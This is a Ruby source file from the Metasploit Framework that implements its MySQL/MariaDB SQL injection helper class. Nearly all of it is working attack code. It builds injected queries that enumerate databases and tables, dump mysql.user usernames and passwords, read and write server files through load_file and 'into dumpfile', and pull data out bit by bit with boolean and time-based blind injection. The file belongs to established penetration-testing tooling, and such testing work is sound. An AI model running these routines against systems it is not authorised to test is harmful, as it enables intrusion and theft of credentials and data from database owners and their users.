rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/sqli/mysqli/common.rb

Summary

Maintainability
D
1 day
Test Coverage
require 'base64'

#
# This class represents a MySQL/MariaDB Injection object, its primary purpose is to provide the common SQL queries
# needed when performing SQL injection.
# This class should not be instantiated directly, refer to Msf::Exploit::SQLi#create_sqli.
#
module Msf::Exploit::SQLi::MySQLi
  class Common < Msf::Exploit::SQLi::Common
    #
    # Encoders supported by MySQL/MariaDB
    # Keys are MySQL/MariaDB function names, values are decoding procs in Ruby
    #
    ENCODERS = {
      base64: {
        encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')',
        decode: proc { |data| Base64.decode64(data) }
      },
      hex: {
        encode: 'hex(^DATA^)',
        decode: proc { |data| Rex::Text.hex_to_raw(data) }
      }
    }.freeze

    #
    #   See SQLi::Common#initialize
    #
    def initialize(datastore, framework, user_output, opts = {}, &query_proc)
      if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
        # if it's a String or a Symbol, use a predefined encoder if it exists
        opts[:encoder] = opts[:encoder].downcase.intern
        opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
      end
      super
    end

    #
    #   Query the MySQL/MariaDB version
    #   @return [String] The MySQL/MariaDB version in use
    #
    def version
      call_function('version()')
    end

    #
    #   Query the current database name
    #   @return [String] The name of the current database
    #
    def current_database
      call_function('database()')
    end

    #
    #   Query the current user
    #   @return [String] The username of the current user
    #
    def current_user
      call_function('user()')
    end

    #
    #   Query the names of all the existing databases
    #   @return [Array] An array of Strings, the database names
    #
    def enum_database_names
      dump_table_fields('information_schema.schemata', %w[schema_name]).flatten
    end

    #
    #   Query the character encoding of the given database
    #   @param database [String] the name of a database, or a function call, defaults to the current database
    #   @return [String] The character encoding of the chosen database
    #
    def enum_database_encoding(database = 'database()')
      dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
                        "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
    end

    #
    #   Query the names of the tables in a given database
    #   @param database [String] the name of a database, or a function call, defaults to the current database
    #   @return [Array] An array of Strings, the table names in the given database
    #
    def enum_table_names(database = 'database()')
      dump_table_fields('information_schema.tables', %w[table_name],
                        "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
    end

    #
    #   Query the names of the views in a given database
    #   @param database [String] the name of a database, or a function call, defaults to the current database
    #   @return [Array] An array of Strings, the view names in the given database
    #
    def enum_view_names(database = 'database()')
      dump_table_fields('information_schema.views', %w[table_name],
                        "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
    end

    #
    # Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
    # @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
    #
    def enum_dbms_users
      # might require elevated privileges
      dump_table_fields('mysql.user', %w[User Password])
    end

    #
    #   Query the column names of the given table in the given database
    #   @param table_name [String] the name of the table of which you want to query the column names, eg: database.table
    #   @return [Array] An array of Strings, the column names in the given table belonging to the given database
    #
    def enum_table_columns(table_name)
      table_schema_condition = ''
      if table_name.include?('.')
        database, table_name = table_name.split('.')
        table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}"
      end
      dump_table_fields('information_schema.columns', %w[column_name],
                        "table_name='#{table_name}'#{table_schema_condition}").flatten
    end

    #
    #  Query the given columns of the records of the given table, that satisfy an optional condition
    #  @param table [String]  The name of the table to query
    #  @param columns [Array] The names of the columns to query
    #  @param condition [String] An optional condition, return only the rows satisfying it
    #  @param num_limit [Integer] An optional maximum number of results to return
    #  @return [Array] An array, where each element is an array of strings representing a row of the results
    #
    def dump_table_fields(table, columns, condition = '', num_limit = 0)
      return '' if columns.empty?

      one_column = columns.length == 1
      if one_column
        columns = "ifnull(#{columns.first},'#{@null_replacement}')"
        columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
      else
        columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col|
          col = "ifnull(#{col},'#{@null_replacement}')"
          @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
        end.join(',') + ')'
      end
      unless condition.empty?
        condition = ' where ' + condition
      end
      num_limit = num_limit.to_i
      limit = num_limit > 0 ? ' limit ' + num_limit.to_s : ''
      retrieved_data = nil
      if @safe
        # no group_concat, leak one row at a time
        row_count = run_sql("select count(1) from #{table}#{condition}").to_i
        num_limit = row_count if num_limit == 0 || row_count < num_limit
        retrieved_data = num_limit.times.map do |current_row|
          if @truncation_length
            truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \
            "#{table}#{condition} limit #{current_row},1")
          else
            run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1")
          end
        end
      else
        # if limit > 0, an alias will be necessary
        if num_limit > 0
          alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
          if @truncation_length
            retrieved_data = truncated_query('select mid(group_concat(' \
            "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\
            "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\
            "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
          else
            retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\
            " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
          end
        else
          if @truncation_length
            retrieved_data = truncated_query('select mid(group_concat(' \
            "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \
            "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',')
          else
            retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \
            " from #{table}#{condition}#{limit}").split(@concat_separator || ',')
          end
        end
      end
      retrieved_data.map do |row|
        row = row.split(@second_concat_separator)
        @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
      end
    end

    #
    # Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
    # queries that should return known results return the results we expect from them
    # @return [Boolean] Whether the SQL injection check was successful
    #
    def test_vulnerable
      random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
      random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
      query_string = "'#{random_string}'"
      query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
      output = run_sql("select #{query_string}")
      return false if output.nil?
      (@encoder ? @encoder[:decode].call(output) : output) == random_string
    end

    #
    # Attempt writing data to the file at the given path
    # @param fpath [String] The path of the file to write to
    # @param data [String] The data to write to the given file
    # @return [void]
    #
    def write_to_file(fpath, data)
      raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
    end

    #
    # Attempt reading from a file on the filesystem, requires having the FILE privilege
    # @param fpath [String] The path of the file to read
    # @param binary [Boolean] Whether the target file is a binary one or not
    # @return [String] The content of the file if reading was successful
    #
    def read_from_file(fpath, binary=false)
      call_function("load_file('#{fpath}')")
    end

    private

    #
    #  Helper method used in cases where the response is truncated.
    #  @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
    #  @return [String] The query result
    #
    def truncated_query(query)
      result = [ ]
      offset = 1
      loop do
        slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
        offset += @truncation_length # should be same as @truncation_length for most cases
        result << slice
        vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
        print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
        break if slice.length < @truncation_length
      end
      result.join
    end

    #
    # Checks the options specific to MySQL/MariaDB
    #
    def check_opts(opts)
      unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
        raise ArgumentError, 'Unsupported encoder'
      end

      super
    end

    #
    # Returns the output of a MySQL function call
    # @param function [String] The function call, function_name(arguments...)
    # @return [String] What the function call returns
    #
    def call_function(function)
      function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
      output = nil
      if @truncation_length
        output = truncated_query("select mid(#{function},^OFFSET^,#{@truncation_length})")
      else
        output = run_sql("select #{function}")
      end
      output = @encoder[:decode].call(output) if @encoder
      output
    end

    #
    # Returns the length of the data that query should return, this is used in blind SQL injections
    # @param query [String] The SQL query to execute
    # @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
    # @return [Integer] The length of the data that query should return
    #
    def blind_detect_length(query, timebased)
      if_function = ''
      sleep_part = ''
      if timebased
        if_function = 'if(' + if_function
        sleep_part += ",sleep(#{datastore['SqliDelay']}),0)"
      end
      i = 0
      output_length = 0
      loop do
        output_bit = !blind_request("#{if_function}length(cast((#{query}) as binary))&#{1 << i}=0#{sleep_part}")
        output_length |= (1 << i) if output_bit
        i += 1
        stop = blind_request("#{if_function}floor(length(cast((#{query}) as binary))/#{1 << i})=0#{sleep_part}")
        break if stop
      end
      output_length
    end

    #
    # Retrieves the output of the given SQL query, this method is used in Blind SQL injections
    # @param query [String] The SQL query the user wants to execute
    # @param length [Integer] The expected length of the output of the result of the SQL query
    # @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
    # @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
    # @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
    # @return [String] The query result
    #
    def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
      if_function = ''
      sleep_part = ''
      if timebased
        if_function = 'if(' + if_function
        sleep_part += ",sleep(#{datastore['SqliDelay']}),0)"
      end
      output = length.times.map do |j|
        current_character = known_bits
        bits_to_guess.times do |k|
          # the query below: the inner substr returns a character from the result, the outer returns a bit of it
          output_bit = !blind_request("#{if_function}ascii(mid(cast((#{query}) as binary), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
          current_character |= (1 << k) if output_bit
        end
        current_character.chr
      end.join
      output
    end

    #
    # Encodes strings in the query string as hexadecimal numbers
    # @param query [String] an SQL query
    # @return [String] The input query, where strings are replaced by hex sequences
    #
    def hex_encode_strings(query)
      # for more encoding capabilities, run code at the beginning of your block
      query.gsub(/''|""/) do
        "repeat(0x#{rand(0..255).to_s(16)},0)"
      end
      .gsub(/'[^']+?'|"[^"]+?"/) do |match|
        '0x' + Rex::Text.to_hex(match[1..-2], '')
      end
           
    end
  end
end